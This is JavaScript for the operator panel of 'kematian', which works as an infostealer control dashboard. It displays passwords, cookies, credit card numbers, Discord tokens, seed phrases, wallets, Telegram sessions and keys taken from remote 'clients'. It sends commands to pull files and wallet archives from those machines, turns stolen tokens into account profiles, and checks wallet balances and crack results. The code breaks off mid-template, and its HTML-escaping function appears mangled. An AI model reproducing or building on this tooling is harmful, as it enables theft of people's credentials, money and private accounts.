(() => { const PLUGIN_ID = "kematian"; const PAGE_SIZE = 1000; const ROW_H = 28; const VBUF = 20; const params = new URLSearchParams(window.location.search); const clientId = params.get("clientId") || ""; const isGlobal = !clientId; const __ctx = clientId || "__global__"; if (window.__kematianCtx === __ctx) return; if (window.__kematianSSE) { window.__kematianSSE.close(); window.__kematianSSE = null; } if (window.__kematianPoll) { clearInterval(window.__kematianPoll); window.__kematianPoll = null; } window.__kematianCtx = __ctx; const $ = (id) => document.getElementById(id); // ── DOM refs ────────────────────────────────────────────────── const logEl = $("log"); const dataCard = $("data-card"); const tabsEl = $("tabs"); const bfiltsEl = $("bfilts"); const cfiltsEl = $("cfilts"); const searchEl = $("search"); const thead = $("data-thead"); const tbody = $("data-tbody"); const tableWrap = document.querySelector(".table-wrap"); const noRows = $("no-rows"); const rowCount = $("row-count"); const revealToggle = $("reveal-toggle"); const pagBar = $("pagination-bar"); const pagPrev = $("page-prev"); const pagNext = $("page-next"); const pagInfo = $("page-info"); const clientCard = $("client-card"); const clientIdEl = $("client-id"); const statusDot = $("status-dot"); const statusText = $("status-text"); const collectBtn = $("collect-btn"); const scanFilesBtn = $("scan-files-btn"); const scanExtBtn = $("scan-ext-btn"); const scanWalletsBtn = $("scan-wallets-btn"); const scanTgBtn = $("scan-tg-btn"); const scanKeysBtn = $("scan-keys-btn"); const scanAppsBtn = $("scan-apps-btn"); const pingBtn = $("ping-btn"); const exportBtn = $("export-btn"); const discordViewEl = $("discord-view"); const dpGrid = $("dp-grid"); const enrichAllBtn = $("enrich-all-btn"); const enrichStatus = $("enrich-status"); const walletViewEl = $("wallet-view"); const wlGrid = $("wl-grid"); const checkBalancesBtn = $("check-balances-btn"); const balanceStatus = $("balance-status"); const settingsCard = $("settings-card"); const settingsGrid = $("settings-grid"); const settingsAdminMsg = $("settings-admin-msg"); const settingsStatus = $("settings-status"); const autoHarvestToggle = $("auto-harvest-toggle"); const autoFilesToggle = $("auto-files-toggle"); const autoExtToggle = $("auto-ext-toggle"); const globalCard = $("global-card"); const clientsCard = $("clients-card"); const clientsList = $("clients-list"); const globalStats = $("global-stats"); const refreshBtn = $("refresh-btn"); const exportAllBtn = $("export-all-btn"); const clearAllBtn = $("clear-all-btn"); const summaryCard = $("summary-card"); const summaryGrid = $("summary-grid"); const summaryTotals = $("summary-totals"); const searchAllView = $("search-all-view"); const searchAllGrid = $("search-all-grid"); const searchAllEmpty = $("search-all-empty"); // ── Column definitions ──────────────────────────────────────── const CLIENT_COL = { k: "clientId", h: "Client", clientbadge: true }; const TABS = [ { id: "passwords", label: "Passwords", key: "passwords", rpc: "list_passwords", cols: [ { k: "url", h: "URL", grow: true }, { k: "username", h: "Username" }, { k: "password", h: "Password", sensitive: true }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "cookies", label: "Cookies", key: "cookies", rpc: "list_cookies", cols: [ { k: "host", h: "Host", grow: true }, { k: "name", h: "Name" }, { k: "value", h: "Value", truncate: true }, { k: "path", h: "Path" }, { k: "secure", h: "Sec", bool: true }, { k: "httpOnly", h: "HTTP", bool: true }, { k: "expiresUtc", h: "Expires", chromets: true }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "autofill", label: "Autofill", key: "autofill", rpc: "list_autofill", cols: [ { k: "name", h: "Field", grow: true }, { k: "value", h: "Value", truncate: true }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "history", label: "History", key: "history", rpc: "list_history", cols: [ { k: "url", h: "URL", grow: true }, { k: "title", h: "Title" }, { k: "visitTimeUnix", h: "Visited", unixtimestamp: true }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "bookmarks", label: "Bookmarks", key: "bookmarks", rpc: "list_bookmarks", cols: [ { k: "name", h: "Name", grow: true }, { k: "url", h: "URL", truncate: true }, { k: "type", h: "Type" }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "cards", label: "Cards", key: "creditCards", rpc: "list_credit_cards", cols: [ { k: "nameOnCard", h: "Name on Card", grow: true }, { k: "cardNumber", h: "Card Number", sensitive: true }, { k: "expirationMonth", h: "Month" }, { k: "expirationYear", h: "Year" }, { k: "nickname", h: "Nickname" }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, ], }, { id: "discord", label: "Discord", key: "discordTokens", rpc: "list_discord_tokens", cols: [ { k: "token", h: "Token", grow: true, sensitive: true }, { k: "source", h: "Source" }, ], }, { id: "files", label: "Files", key: "files", rpc: "list_files", cols: [ { k: "dir", h: "Location" }, { k: "name", h: "Name", grow: true }, { k: "ext", h: "Ext" }, { k: "size", h: "Size", filesize: true }, { k: "modified", h: "Modified", unixtimestamp: true }, { k: "tags", h: "Tags", seedtag: true }, { k: "_dl", h: "", filedownload: true }, ], }, { id: "extensions", label: "Extensions", key: "extensions", rpc: "list_extensions", cols: [ { k: "name", h: "Name", grow: true }, { k: "version", h: "Version" }, { k: "extId", h: "Ext ID", mono: true }, { k: "category", h: "Type", walletbadge: true }, { k: "browser", h: "Browser", badge: true }, { k: "profile", h: "Profile" }, { k: "_dl", h: "", extdownload: true }, ], }, { id: "wallets", label: "Wallets", key: "wallets", rpc: "list_wallets", cols: [ { k: "name", h: "Wallet", grow: true }, { k: "path", h: "Path", truncate: true }, { k: "files", h: "Files" }, { k: "size", h: "Size", filesize: true }, { k: "_dl", h: "", walletdownload: true }, ], }, { id: "telegram", label: "Telegram", key: "telegram", rpc: "list_telegram", cols: [ { k: "account", h: "Account", grow: true }, { k: "path", h: "Path", truncate: true }, { k: "size", h: "Size", filesize: true }, { k: "hasContent", h: "Downloaded", bool: true }, ], }, { id: "keys", label: "Keys", key: "keys", rpc: "list_keys", cols: [ { k: "type", h: "Type", badge: true }, { k: "name", h: "Name", grow: true }, { k: "path", h: "Path", truncate: true }, { k: "size", h: "Size", filesize: true }, { k: "content", h: "Content", sensitive: true, truncate: true }, ], }, { id: "seeds", label: "Seeds", key: "seeds", rpc: "list_seeds", cols: [ { k: "phrase", h: "Seed Phrase", sensitive: true, grow: true }, { k: "words", h: "Words" }, { k: "valid", h: "BIP39", bool: true }, { k: "source", h: "Source", badge: true }, { k: "path", h: "Path", truncate: true }, ], }, { id: "apps", label: "Apps", key: "appCredentials", rpc: "list_app_credentials", cols: [ { k: "application", h: "Application", badge: true }, { k: "host", h: "Host", grow: true }, { k: "port", h: "Port" }, { k: "username", h: "Username" }, { k: "password", h: "Password", sensitive: true }, { k: "protocol", h: "Protocol", badge: true }, { k: "extra", h: "Extra", truncate: true }, ], }, ]; const BROWSERS = [ "Chrome", "Edge", "Brave", "Vivaldi", "Yandex", "Arc", "Opera", "Opera GX", "Firefox", "Waterfox", ]; const DATA_KEYS = [ "passwords", "cookies", "autofill", "history", "bookmarks", "creditCards", "discordTokens", "files", "extensions", "wallets", "telegram", "keys", "seeds", "appCredentials", ]; // ── Discord helpers ─────────────────────────────────────────── const DISCORD_BADGE_FLAGS = [ { f: 1 << 0, label: "Staff", title: "Discord Staff" }, { f: 1 << 1, label: "Partner", title: "Partnered Server Owner" }, { f: 1 << 2, label: "HypeSquad", title: "HypeSquad Events" }, { f: 1 << 3, label: "Bug Hunter", title: "Bug Hunter Level 1" }, { f: 1 << 6, label: "Bravery", title: "HypeSquad Bravery" }, { f: 1 << 7, label: "Brilliance", title: "HypeSquad Brilliance" }, { f: 1 << 8, label: "Balance", title: "HypeSquad Balance" }, { f: 1 << 9, label: "Early Sup.", title: "Early Supporter" }, { f: 1 << 14, label: "Bug Hunter II", title: "Bug Hunter Level 2" }, { f: 1 << 17, label: "Bot Dev", title: "Early Verified Bot Developer" }, { f: 1 << 18, label: "Moderator", title: "Certified Discord Moderator" }, { f: 1 << 22, label: "Active Dev", title: "Active Developer" }, ]; const NITRO_LABELS = ["—", "Nitro Classic", "Nitro", "Nitro Basic"]; function discordSnowflakeDate(id) { if (!id) return null; try { return new Date(Number(BigInt(id) >> 22n) + 1420070400000); } catch { return null; } } function discordAvatarUrl(userId, hash) { if (hash && userId) return `https://cdn.discordapp.com/avatars/${userId}/${hash}.webp?size=64`; if (userId) { try { return `https://cdn.discordapp.com/embed/avatars/${Number(BigInt(userId) % 6n)}.png`; } catch { return null; } } return null; } function dpBadgesHtml(flags) { if (!flags) return ""; return DISCORD_BADGE_FLAGS .filter(b => (flags & b.f) !== 0) .map(b => `${esc(b.label)}`) .join(""); } function dpNitroHtml(tier) { if (!tier) return ""; return `${esc(NITRO_LABELS[tier] || "Nitro")}`; } // ── State ───────────────────────────────────────────────────── let lastResults = null; let tabData = {}; let activeTab = "passwords"; let activeBrowser = "all"; let activeClient = "all"; let sortCol = null; let sortAsc = true; let showSensitive = false; let knownClients = []; let searchTimer = null; let userRole = null; let historyView = "all"; // "all" or "top" let searchAllResults = null; const pendingFetches = new Map(); const pendingExtZips = new Map(); const pendingWalletZips = new Map(); let walletBalances = {}; let walletCrackResults = {}; // ── Virtual scroll ──────────────────────────────────────────── let virtRows = []; let virtCols = []; let scrollRAF = null; function makeSpacer() { const tr = document.createElement("tr"); const td = document.createElement("td"); td.style.cssText = "height:0;padding:0;border:0;"; tr.appendChild(td); return tr; } const topSpacer = makeSpacer(); const botSpacer = makeSpacer(); tableWrap.addEventListener("scroll", () => { if (scrollRAF) return; scrollRAF = requestAnimationFrame(() => { scrollRAF = null; vRender(); }); }, { passive: true }); function startVirt(rows, cols, serverTotal) { virtRows = rows; virtCols = cols; const span = cols.length || 1; topSpacer.cells[0].colSpan = span; botSpacer.cells[0].colSpan = span; tbody.innerHTML = ""; tbody.appendChild(topSpacer); tbody.appendChild(botSpacer); tableWrap.scrollTop = 0; const total = serverTotal !== undefined ? serverTotal : rows.length; noRows.style.display = total === 0 ? "" : "none"; rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "entry" : "entries"}`; vRender(); } function vRender() { if (!virtRows.length) return; const scrollTop = tableWrap.scrollTop; const viewH = tableWrap.clientHeight || 520; const first = Math.max(0, Math.floor(scrollTop / ROW_H) - VBUF); const last = Math.min(virtRows.length, Math.ceil((scrollTop + viewH) / ROW_H) + VBUF); topSpacer.cells[0].style.height = (first * ROW_H) + "px"; botSpacer.cells[0].style.height = ((virtRows.length - last) * ROW_H) + "px"; while (tbody.rows.length > 2) tbody.deleteRow(1); for (let i = first; i < last; i++) tbody.insertBefore(buildRow(virtRows[i], virtCols), botSpacer); } // ── Utilities ───────────────────────────────────────────────── function log(line) { logEl.textContent = `[${new Date().toLocaleTimeString()}] ${line}\n` + logEl.textContent; } function esc(s) { return String(s).replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); } function chromeTs(v) { if (!v || v === 0) return ""; const ms = Math.round(v / 1000) - 11644473600000; return ms <= 0 ? "" : new Date(ms).toLocaleString(); } function unixTs(v) { return (!v || v === 0) ? "" : new Date(v * 1000).toLocaleString(); } function humanSize(bytes) { if (bytes === 0) return "0 B"; const units = ["B", "KB", "MB", "GB"]; const i = Math.floor(Math.log(bytes) / Math.log(1024)); return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + " " + units[i]; } function shortId(id) { return id ? String(id).slice(0, 8) : "?"; } function downloadBase64(content, filename, mime) { const raw = atob(content); const bytes = new Uint8Array(raw.length); for (let i = 0; i < raw.length; i++) bytes[i] = raw.charCodeAt(i); const blob = new Blob([bytes], mime ? { type: mime } : undefined); const a = document.createElement("a"); a.href = URL.createObjectURL(blob); a.download = filename; a.click(); URL.revokeObjectURL(a.href); } // ── Network ─────────────────────────────────────────────────── async function sendEvent(event, payload) { if (!clientId) { log("ERROR: no clientId"); return; } try { const res = await fetch( `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ event, payload }) }, ); if (!res.ok) log(`send failed: ${res.status}`); } catch (e) { log(`send error: ${e.message}`); } } async function rpc(method, params) { const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ method, params: params || {} }), }); const data = await res.json(); if (!data.ok) { const msg = data.error || "RPC error"; console.error(`[kematian] RPC ${method} failed (${res.status}): ${msg}`); throw new Error(msg); } return data.result; } async function fetchUserRole() { try { const res = await fetch("/api/auth/me"); if (!res.ok) return null; const data = await res.json(); return data.role || null; } catch { return null; } } // ── Cell rendering ──────────────────────────────────────────── function cellContent(col, raw, reveal) { const v = raw == null ? "" : raw; if (col.clientbadge) return `${esc(shortId(String(v)))}`; if (col.bool) return v ? `` : ``; if (col.badge) return `${esc(String(v || ""))}`; if (col.chromets) return esc(chromeTs(v)); if (col.unixtimestamp) return esc(unixTs(v)); if (col.filesize) return esc(humanSize(Number(v) || 0)); if (col.mono) return `${esc(String(v || ""))}`; if (col.seedtag) { if (!v) return ""; return String(v).split(",").filter(Boolean) .map(t => t === "seed" ? `seed phrase` : `${esc(t)}`) .join(" "); } if (col.walletbadge) { if (v === "wallet") return `Wallet`; return ""; } if (col.filedownload) return isGlobal ? "" : ``; if (col.extdownload) return isGlobal ? "" : ``; if (col.walletdownload) return isGlobal ? "" : ``; if (col.sensitive) { const text = String(v); if (!text) return ``; return reveal ? `${esc(text)}` : `••••••••`; } const text = String(v); if (col.truncate && text.length > 80) return `${esc(text.slice(0, 80))}…`; return esc(text); } function sortValue(col, row) { const v = row[col.k]; if (col.bool) return v ? 1 : 0; if (col.chromets || col.unixtimestamp) return v || 0; if (col.filesize) return Number(v) || 0; if (col.filedownload || col.clientbadge) return String(v || "").toLowerCase(); if (typeof v === "number") return v; return String(v || "").toLowerCase(); } function applySortInPlace(rows, cols) { if (sortCol === null || sortCol >= cols.length) return; const col = cols[sortCol]; rows.sort((a, b) => { const av = sortValue(col, a), bv = sortValue(col, b); if (av < bv) return sortAsc ? -1 : 1; if (av > bv) return sortAsc ? 1 : -1; return 0; }); } function buildRow(row, cols) { const tr = document.createElement("tr"); for (const col of cols) { const td = document.createElement("td"); td.innerHTML = cellContent(col, row[col.k], showSensitive); td.addEventListener("click", () => { if (!isGlobal && col.filedownload) { fetchAndDownload(row.path, row.name, td); return; } if (!isGlobal && col.extdownload) { fetchAndDownloadExt(row.path, row.extId, td); return; } if (!isGlobal && col.walletdownload) { fetchAndDownloadWallet(row.path, row.name, td); return; } const val = col.sensitive ? String(row[col.k] || "") : col.chromets ? chromeTs(row[col.k]) : col.unixtimestamp ? unixTs(row[col.k]) : col.filesize ? String(row[col.k] || "") : String(row[col.k] || ""); if (!val) return; navigator.clipboard.writeText(val).catch(() => {}); td.classList.add("copied-flash"); setTimeout(() => td.classList.remove("copied-flash"), 600); }); tr.appendChild(td); } return tr; } function buildHeader(cols) { thead.innerHTML = ""; const trh = document.createElement("tr"); cols.forEach((col, i) => { const th = document.createElement("th"); let arrow = "⇅", cls = ""; if (sortCol === i) { arrow = sortAsc ? "↑" : "↓"; cls = sortAsc ? "sort-asc" : "sort-desc"; } th.className = cls; th.innerHTML = `${esc(col.h)} ${arrow}`; th.addEventListener("click", () => { if (sortCol === i) sortAsc = !sortAsc; else { sortCol = i; sortAsc = true; } renderTable(); }); trh.appendChild(th); }); thead.appendChild(trh); } // ── Tabs ────────────────────────────────────────────────────── function getGlobalTabTotal(tabKey) { if (activeClient !== "all") { const c = knownClients.find(x => x.clientId === activeClient); return c ? (c[tabKey] || 0) : 0; } return knownClients.reduce((sum, c) => sum + (c[tabKey] || 0), 0); } function buildTabs() { tabsEl.innerHTML = ""; const q = searchEl.value.trim(); if (q) { const saBtn = document.createElement("button"); saBtn.className = "tab tab-search" + (activeTab === "__search__" ? " active" : ""); const saCount = searchAllResults ? searchAllResults.groups.reduce((s, g) => s + g.total, 0) : 0; saBtn.innerHTML = `Search All ${saCount.toLocaleString()}`; saBtn.addEventListener("click", () => { activeTab = "__search__"; sortCol = null; sortAsc = true; buildTabs(); buildBfilts(); if (isGlobal) { buildCfilts(); loadSearchAll(); } else renderTable(); }); tabsEl.appendChild(saBtn); } for (const t of TABS) { const btn = document.createElement("button"); btn.className = "tab" + (t.id === activeTab ? " active" : ""); const count = isGlobal ? getGlobalTabTotal(t.key).toLocaleString() : (lastResults ? (lastResults[t.key] || []).length : 0); btn.innerHTML = `${esc(t.label)} ${count}`; btn.addEventListener("click", () => { activeTab = t.id; sortCol = null; sortAsc = true; buildTabs(); buildBfilts(); if (isGlobal) { buildCfilts(); if (tabData[t.key]) tabData[t.key].offset = 0; loadGlobalTab(); } else { renderTable(); } }); tabsEl.appendChild(btn); } } // ── Browser filter ──────────────────────────────────────────── function buildBfilts() { const tab = TABS.find(t => t.id === activeTab); if (!tab?.cols.some(c => c.k === "browser")) { bfiltsEl.style.display = "none"; return; } bfiltsEl.style.display = ""; bfiltsEl.innerHTML = ""; // History view toggle if (activeTab === "history") { const viewToggle = document.createElement("div"); viewToggle.className = "history-view-toggle"; for (const v of [{ label: "All", value: "all" }, { label: "Top Sites", value: "top" }]) { const btn = document.createElement("button"); btn.className = "bfilt" + (historyView === v.value ? " active" : ""); btn.textContent = v.label; btn.addEventListener("click", () => { historyView = v.value; buildBfilts(); renderTable(); }); viewToggle.appendChild(btn); } bfiltsEl.appendChild(viewToggle); const sep = document.createElement("span"); sep.className = "bfilt-sep"; bfiltsEl.appendChild(sep); } const pills = [{ label: "All", value: "all" }, ...BROWSERS.map(b => ({ label: b, value: b }))]; for (const p of pills) { const btn = document.createElement("button"); btn.className = "bfilt" + (activeBrowser === p.value ? " active" : ""); btn.dataset.browser = p.value; btn.textContent = p.label; btn.addEventListener("click", () => { activeBrowser = p.value; buildBfilts(); if (isGlobal) { const t2 = TABS.find(t => t.id === activeTab); if (t2?.key && tabData[t2.key]) tabData[t2.key].offset = 0; loadGlobalTab(); } else { renderTable(); } }); bfiltsEl.appendChild(btn); } } // ── Client filter ───────────────────────────────────────────── function buildCfilts() { if (!isGlobal || !cfiltsEl) return; if (knownClients.length === 0) { cfiltsEl.style.display = "none"; return; } cfiltsEl.style.display = ""; cfiltsEl.innerHTML = ""; const pills = [ { label: "All Clients", value: "all" }, ...knownClients.map(c => ({ label: shortId(c.clientId), value: c.clientId, full: c.clientId })), ]; for (const p of pills) { const btn = document.createElement("button"); btn.className = "cfilt" + (activeClient === p.value ? " active" : ""); btn.textContent = p.label; if (p.full) btn.title = p.full; btn.addEventListener("click", () => { activeClient = p.value; const tab = TABS.find(t => t.id === activeTab); if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0; buildCfilts(); buildTabs(); loadGlobalTab(); }); cfiltsEl.appendChild(btn); } } // ── Search All ──────────────────────────────────────────────── async function loadSearchAll() { const q = searchEl.value.trim(); if (!q) { searchAllResults = null; renderTable(); return; } const p = { search: q, limit: 10 }; if (activeClient !== "all") p.clientId = activeClient; try { searchAllResults = await rpc("global_search", p); buildTabs(); renderTable(); } catch (e) { log(`Search error: ${e.message}`); } } function renderSearchAll() { if (!searchAllView || !searchAllGrid) return; searchAllGrid.innerHTML = ""; const groups = searchAllResults?.groups || []; searchAllEmpty.style.display = groups.length === 0 ? "" : "none"; for (const g of groups) { const tab = TABS.find(t => t.key === g.key); if (!tab) continue; const cols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols; const displayCols = cols.filter(c => !c.filedownload && !c.extdownload && !c.walletdownload); const previewCols = displayCols.slice(0, 5); const section = document.createElement("div"); section.className = "search-group"; const header = document.createElement("div"); header.className = "search-group-header"; header.innerHTML = `
${esc(g.label)} ${g.total.toLocaleString()}
View all →
`; header.addEventListener("click", () => { activeTab = tab.id; sortCol = null; sortAsc = true; buildTabs(); buildBfilts(); if (isGlobal) { buildCfilts(); if (tabData[tab.key]) tabData[tab.key].offset = 0; searchEl.value = searchEl.value; loadGlobalTab(); } else { renderTable(); } }); section.appendChild(header); const tbl = document.createElement("table"); tbl.className = "search-group-table"; const thRow = document.createElement("tr"); for (const col of previewCols) { const th = document.createElement("th"); th.textContent = col.h; if (col.grow) th.style.width = "40%"; thRow.appendChild(th); } tbl.appendChild(thRow); for (const row of g.rows) { const tr = document.createElement("tr"); for (const col of previewCols) { const td = document.createElement("td"); if (col.grow) td.className = "sg-grow"; td.innerHTML = cellContent(col, row[col.k], showSensitive); td.addEventListener("click", () => { const val = col.sensitive ? String(row[col.k] || "") : col.chromets ? chromeTs(row[col.k]) : String(row[col.k] || ""); if (!val) return; navigator.clipboard.writeText(val).catch(() => {}); td.classList.add("copied-flash"); setTimeout(() => td.classList.remove("copied-flash"), 600); }); tr.appendChild(td); } tbl.appendChild(tr); } section.appendChild(tbl); if (g.total > g.rows.length) { const more = document.createElement("div"); more.className = "search-group-more"; more.textContent = `+ ${(g.total - g.rows.length).toLocaleString()} more results — click to view all`; more.addEventListener("click", () => header.click()); section.appendChild(more); } searchAllGrid.appendChild(section); } } function loadSearchAllLocal() { const q = searchEl.value.trim().toLowerCase(); if (!q || !lastResults) { searchAllResults = null; buildTabs(); return; } const groups = []; for (const tab of TABS) { const rows = lastResults[tab.key] || []; if (!rows.length) continue; const cols = tab.cols; const matched = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q)) ); if (matched.length > 0) { groups.push({ key: tab.key, label: tab.label, total: matched.length, rows: matched.slice(0, 10) }); } } searchAllResults = { groups }; buildTabs(); } // ── Pagination ──────────────────────────────────────────────── function updatePagination(tabKey) { if (!isGlobal || !pagBar) return; const td = tabData[tabKey]; if (!td || td.total <= PAGE_SIZE) { pagBar.style.display = "none"; return; } pagBar.style.display = ""; const from = td.offset + 1; const to = Math.min(td.offset + td.rows.length, td.total); pagInfo.textContent = `${from.toLocaleString()}–${to.toLocaleString()} of ${td.total.toLocaleString()}`; pagPrev.disabled = td.offset === 0; pagNext.disabled = td.offset + td.rows.length >= td.total; } // ── Render table ────────────────────────────────────────────── function renderTable() { if (activeTab === "__search__") { tableWrap.style.display = "none"; noRows.style.display = "none"; if (discordViewEl) discordViewEl.style.display = "none"; if (walletViewEl) walletViewEl.style.display = "none"; if (searchAllView) searchAllView.style.display = ""; if (pagBar) pagBar.style.display = "none"; renderSearchAll(); const total = searchAllResults?.groups.reduce((s, g) => s + g.total, 0) || 0; rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "result" : "results"}`; return; } if (searchAllView) searchAllView.style.display = "none"; const tab = TABS.find(t => t.id === activeTab); if (!tab) return; if (activeTab === "discord") { tableWrap.style.display = "none"; if (discordViewEl) discordViewEl.style.display = ""; if (walletViewEl) walletViewEl.style.display = "none"; loadDiscordProfiles(); return; } if (activeTab === "wallets") { tableWrap.style.display = "none"; if (discordViewEl) discordViewEl.style.display = "none"; if (walletViewEl) walletViewEl.style.display = ""; loadWalletCards(); return; } if (discordViewEl) discordViewEl.style.display = "none"; if (walletViewEl) walletViewEl.style.display = "none"; tableWrap.style.display = ""; // Top Sites view for history tab if (activeTab === "history" && historyView === "top") { let rows; if (isGlobal) { const td = tabData[tab.key]; rows = td?.rows || []; } else { rows = lastResults?.[tab.key] || []; } if (activeBrowser !== "all") rows = rows.filter(r => r.browser === activeBrowser); const q = searchEl.value.trim().toLowerCase(); if (q) rows = rows.filter(r => (r.url || "").toLowerCase().includes(q) || (r.title || "").toLowerCase().includes(q)); // Group by domain const domainMap = {}; for (const r of rows) { let domain; try { domain = new URL(r.url).hostname.replace(/^www\./, ""); } catch { domain = r.url || "unknown"; } if (!domainMap[domain]) domainMap[domain] = { domain, visits: 0, lastVisit: 0, titles: new Set() }; domainMap[domain].visits++; if (r.visitTimeUnix > domainMap[domain].lastVisit) domainMap[domain].lastVisit = r.visitTimeUnix; if (r.title) domainMap[domain].titles.add(r.title); } const sorted = Object.values(domainMap).sort((a, b) => b.visits - a.visits); const topCols = [ { k: "domain", h: "Domain", grow: true }, { k: "visits", h: "Visits" }, { k: "lastVisit", h: "Last Visit", unixtimestamp: true }, ]; buildHeader(topCols); const topRows = sorted.map(d => ({ domain: d.domain, visits: d.visits, lastVisit: d.lastVisit, })); startVirt(topRows, topCols); if (isGlobal) updatePagination(tab.key); return; } const allCols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols; const cols = allCols.filter(c => !(isGlobal && c.filedownload)); let rows, serverTotal; if (isGlobal) { const td = tabData[tab.key]; if (!td) { buildHeader(cols); startVirt([], cols); updatePagination(tab.key); return; } rows = [...td.rows]; serverTotal = td.total; } else { if (!lastResults) { buildHeader(cols); startVirt([], cols); return; } rows = [...(lastResults[tab.key] || [])]; if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser")) rows = rows.filter(r => r.browser === activeBrowser); const q = searchEl.value.trim().toLowerCase(); if (q) rows = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q))); } applySortInPlace(rows, cols); buildHeader(cols); startVirt(rows, cols, serverTotal); if (isGlobal) updatePagination(tab.key); } // ── File fetch (per-client) ─────────────────────────────────── function fetchAndDownload(path, name, tdEl) { if (pendingFetches.has(path)) return; const btn = tdEl.querySelector(".btn-dl"); if (btn) { btn.textContent = "…"; btn.disabled = true; } pendingFetches.set(path, { name, btn }); sendEvent("fetch_file", { path }); log(`Fetching: ${name}`); } function fetchAndDownloadExt(path, extId, tdEl) { if (pendingExtZips.has(path)) return; const btn = tdEl.querySelector(".btn-dl"); if (btn) { btn.textContent = "…"; btn.disabled = true; } pendingExtZips.set(path, { extId, btn }); sendEvent("fetch_ext_zip", { path, extId }); log(`Fetching extension ZIP: ${extId || path}`); } function fetchAndDownloadWallet(path, name, tdEl) { if (pendingWalletZips.has(path)) return; const btn = tdEl.querySelector(".btn-dl"); if (btn) { btn.textContent = "…"; btn.disabled = true; } pendingWalletZips.set(path, { name, btn }); sendEvent("fetch_wallet_zip", { path, name }); log(`Fetching wallet ZIP: ${name || path}`); } // ── Discord profiles ────────────────────────────────────────── function renderDiscordCard(p) { const div = document.createElement("div"); div.className = "dp-card"; div.dataset.token = p.token || ""; div.dataset.clientId = p.clientId || ""; const enriched = !!p.enriched_at && !p.error; const tokenHtml = `
Token ${esc(p.token || "")}
`; const sourceTs = `${esc(p.source || "")} · ${p.captured_at ? new Date(p.captured_at).toLocaleString() : ""}`; if (p.error) { div.innerHTML = `
?
Lookup failed
${esc(p.error)}
${sourceTs}
${tokenHtml}
`; } else if (!enriched) { div.innerHTML = `
?
Not yet looked up
${sourceTs}
${tokenHtml}
`; } else { const created = discordSnowflakeDate(p.user_id); const avatarUrl = discordAvatarUrl(p.user_id, p.avatar); const displayName = p.global_name || p.username || "—"; const tag = p.username ? (p.discriminator && p.discriminator !== "0" ? `${p.username}#${p.discriminator}` : p.username) : "—"; const allFlags = (p.flags || 0) | (p.public_flags || 0); const badges = dpBadgesHtml(allFlags) + dpNitroHtml(p.premium_type); const avatarHtml = avatarUrl ? `` : `
${esc((displayName[0] || "?").toUpperCase())}
`; const check = "✓", cross = "✕"; div.innerHTML = `
${avatarHtml}
${esc(displayName)}
${esc(tag)}
${created ? "Created " + created.toLocaleDateString() : ""} · ${esc(p.locale || "")} · ${esc(p.source || "")}
${badges}
${p.friends_count != null ? p.friends_count : "—"}Friends
${p.guilds_count != null ? p.guilds_count : "—"}Servers
${p.mfa_enabled ? check : cross}2FA
${p.phone ? check : cross}Phone
${p.verified ? check : cross}Email ver.
${p.email ? `
Email${esc(p.email)}
` : ""} ${p.guild_names ? `
Servers${esc(p.guild_names.split("|").join(", "))}
` : ""} ${tokenHtml}
${p.user_id ? `ID: ${esc(p.user_id)}` : ""}
`; } const tokenEl = div.querySelector(".dp-token"); if (tokenEl) { tokenEl.addEventListener("click", () => { navigator.clipboard.writeText(p.token || "").catch(() => {}); tokenEl.classList.add("copied-flash"); setTimeout(() => tokenEl.classList.remove("copied-flash"), 600); }); } return div; } async function loadDiscordProfiles() { if (!discordViewEl || discordViewEl.style.display === "none") return; try { const p = {}; if (!isGlobal && clientId) p.clientId = clientId; else if (isGlobal && activeClient !== "all") p.clientId = activeClient; const q = searchEl.value.trim(); if (q) p.search = q; const result = await rpc("list_discord_profiles", p); dpGrid.innerHTML = ""; if (!result.rows.length) { dpGrid.innerHTML = '
No Discord tokens captured yet.
'; } else { for (const row of result.rows) dpGrid.appendChild(renderDiscordCard(row)); } rowCount.textContent = `${result.total.toLocaleString()} ${result.total === 1 ? "token" : "tokens"}`; } catch (e) { log(`Discord profiles error: ${e.message}`); } } // ── Wallet card view ─────────────────────────────────────────── function renderWalletCard(w) { const div = document.createElement("div"); div.className = "wl-card"; const isExt = w.type === "extension"; const iconClass = isExt ? "wl-icon-ext" : "wl-icon-desk"; const typeClass = isExt ? "wl-type-ext" : "wl-type-desk"; const typeLabel = isExt ? "Extension" : "Desktop"; const icon = isExt ? "\u{1F9E9}" : "\u{1F4B0}"; const addrs = w.addresses || []; const balKey = w.name; const bals = walletBalances[balKey] || {}; const crackResult = walletCrackResults[balKey]; let addrsHtml = ""; if (addrs.length > 0) { addrsHtml = `
${addrs.map(a => `${esc(a)}` ).join("")}
`; } let balHtml = ""; const balEntries = Object.entries(bals); if (balEntries.length > 0) { balHtml = `
${balEntries.map(([chain, bal]) => { const isZero = bal === 0; const cls = isZero ? "wl-bal-chip wl-bal-chip-zero" : "wl-bal-chip"; const val = isZero ? "0" : bal < 0.0001 ? bal.toExponential(2) : bal.toFixed(4); return `${esc(chain)}: ${val}`; }).join("")}
`; } let crackHtml = ""; if (crackResult) { if (crackResult.warning) { crackHtml += `
${esc(crackResult.warning)}
`; } if (crackResult.cracked) { // USD total banner let usdHtml = ""; if (crackResult.usdTotal !== undefined) { if (crackResult.usdTotal > 0) { usdHtml = `
$${crackResult.usdTotal.toFixed(2)}
